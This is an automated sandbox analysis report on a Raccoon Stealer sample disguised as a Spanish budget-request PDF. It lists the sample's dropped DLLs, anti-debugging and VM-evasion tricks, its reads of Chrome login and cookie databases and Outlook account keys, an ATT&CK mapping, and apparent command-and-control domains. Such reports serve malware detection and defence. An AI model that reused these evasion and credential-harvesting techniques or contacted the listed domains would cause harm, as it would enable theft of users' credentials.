Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\MapiProxy_InUse.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\breakpadinjector.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\AccessibleHandler.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\ldif60.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\IA2Marshal.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\nssdbm3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\prldap60.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\ldap60.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\mozMapi32_InUse.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\nssckbi.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\AccessibleMarshal.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\MapiProxy.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe

Registry key enumerated: More than 151 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Windows\SysWOW64\timeout.exe TID: 6780

Thread sleep count: 84 > 30

Jump to behavior

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe

Code function: 2_2_6D86199C GetSystemInfo,MapViewOfFile,

2_2_6D86199C

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\	Jump to behavior

Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.317097027.0000000066BD0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.317097027.0000000066BD0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.313364575.0000000000561000.00000040.00000001.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.317097027.0000000066BD0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.317097027.0000000066BD0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Anti Debugging:

Contains functionality to hide a thread from the debugger

Show sources

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe

Code function: 0_2_020F0405 NtSetInformationThread 000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000048,00000000,00020040,00000000

0_2_020F0405

Hides threads from debuggers

Show sources

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Thread information set: HideFromDebugger	Jump to behavior

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe

Code function: 0_2_020F524D rdtsc

0_2_020F524D

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe

Code function: 0_2_020F3032 LdrInitializeThunk,

0_2_020F3032

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe

Code function: 2_2_6D86308C IsDebuggerPresent,OutputDebugStringA,_dup,_fdopen,__vfprintf_l,fclose,

2_2_6D86308C

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 0_2_020F4238 mov eax, dword ptr fs:[00000030h]	0_2_020F4238
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 0_2_020F144F mov eax, dword ptr fs:[00000030h]	0_2_020F144F
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 0_2_020F1A66 mov eax, dword ptr fs:[00000030h]	0_2_020F1A66
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 0_2_020F1897 mov eax, dword ptr fs:[00000030h]	0_2_020F1897
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 0_2_020F3E91 mov eax, dword ptr fs:[00000030h]	0_2_020F3E91
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 0_2_020F4926 mov eax, dword ptr fs:[00000030h]	0_2_020F4926
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 0_2_020F2535 mov eax, dword ptr fs:[00000030h]	0_2_020F2535

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 2_2_6D8784D6 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		2_2_6D8784D6
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 2_2_6D877414 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		2_2_6D877414

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Process created: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe 'C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe'			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /T 10 /NOBREAK			Jump to behavior

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe

Code function: 2_2_6D86149E cpuid

2_2_6D86149E

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe

Code function: 2_2_6D86B95E GetSystemTimeAdjustment,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,

2_2_6D86B95E

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected Raccoon Stealer

Show sources

Source: Yara match

File source: Process Memory Space: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe PID: 4516, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	Jump to behavior

Remote Access Functionality:

Yara detected Raccoon Stealer

Show sources

Source: Yara match

File source: Process Memory Space: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe PID: 4516, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection11	Masquerading1	OS Credential Dumping1	System Time Discovery1	Remote Services	Email Collection1	Exfiltration Over Other Network Medium	Encrypted Channel12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	System Shutdown/Reboot1
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Virtualization/Sandbox Evasion22	LSASS Memory	Security Software Discovery731	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Non-Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Process Injection11	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Local System1	Automated Exfiltration	Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Deobfuscate/Decode Files or Information1	NTDS	Virtualization/Sandbox Evasion22	Distributed Component Object Model	Clipboard Data1	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Obfuscated Files or Information2	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	File and Directory Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	System Information Discovery335	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\AccessibleHandler.dll	0%	Virustotal	Browse
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\AccessibleHandler.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\AccessibleHandler.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\AccessibleMarshal.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\AccessibleMarshal.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\IA2Marshal.dll	3%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\IA2Marshal.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\MapiProxy.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\MapiProxy.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\MapiProxy_InUse.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\MapiProxy_InUse.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-file-l1-2-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-file-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-file-l2-1-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-file-l2-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-handle-l1-1-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-handle-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-heap-l1-1-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-interlocked-l1-1-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-interlocked-l1-1-0.dll	0%	ReversingLabs

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
shehootastayonwhatshelirned.top	0%	Virustotal		Browse
telete.in	11%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0	0%	URL Reputation	safe
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0	0%	URL Reputation	safe
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0	0%	URL Reputation	safe
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0	0%	URL Reputation	safe
http://fedir.comsign.co.il/crl/ComSignCA.crl0	0%	URL Reputation	safe
http://fedir.comsign.co.il/crl/ComSignCA.crl0	0%	URL Reputation	safe
http://fedir.comsign.co.il/crl/ComSignCA.crl0	0%	URL Reputation	safe
http://fedir.comsign.co.il/crl/ComSignCA.crl0	0%	URL Reputation	safe
http://crl.chambersign.org/chambersroot.crl0	0%	URL Reputation	safe
http://crl.chambersign.org/chambersroot.crl0	0%	URL Reputation	safe
http://crl.chambersign.org/chambersroot.crl0	0%	URL Reputation	safe
http://crl.chambersign.org/chambersroot.crl0	0%	URL Reputation	safe
https://repository.luxtrust.lu0	0%	URL Reputation	safe
https://repository.luxtrust.lu0	0%	URL Reputation	safe
https://repository.luxtrust.lu0	0%	URL Reputation	safe
https://repository.luxtrust.lu0	0%	URL Reputation	safe
http://ocsp.accv.es0	0%	URL Reputation	safe
http://ocsp.accv.es0	0%	URL Reputation	safe
http://ocsp.accv.es0	0%	URL Reputation	safe
http://ocsp.accv.es0	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://cps.chambersign.org/cps/chambersroot.html0	0%	URL Reputation	safe
http://cps.chambersign.org/cps/chambersroot.html0	0%	URL Reputation	safe
http://cps.chambersign.org/cps/chambersroot.html0	0%	URL Reputation	safe
http://cps.chambersign.org/cps/chambersroot.html0	0%	URL Reputation	safe
http://www.mozilla.com0	0%	URL Reputation	safe
http://www.mozilla.com0	0%	URL Reputation	safe
http://www.mozilla.com0	0%	URL Reputation	safe
http://www.mozilla.com0	0%	URL Reputation	safe
http://www.chambersign.org1	0%	URL Reputation	safe
http://www.chambersign.org1	0%	URL Reputation	safe
http://www.chambersign.org1	0%	URL Reputation	safe
http://www.chambersign.org1	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://crl.securetrust.com/SGCA.crl0	0%	URL Reputation	safe
http://crl.securetrust.com/SGCA.crl0	0%	URL Reputation	safe
http://crl.securetrust.com/SGCA.crl0	0%	URL Reputation	safe
http://crl.securetrust.com/SGCA.crl0	0%	URL Reputation	safe
http://crl.securetrust.com/STCA.crl0	0%	URL Reputation	safe
http://crl.securetrust.com/STCA.crl0	0%	URL Reputation	safe
http://crl.securetrust.com/STCA.crl0	0%	URL Reputation	safe
http://crl.securetrust.com/STCA.crl0	0%	URL Reputation	safe
http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl	0%	URL Reputation	safe
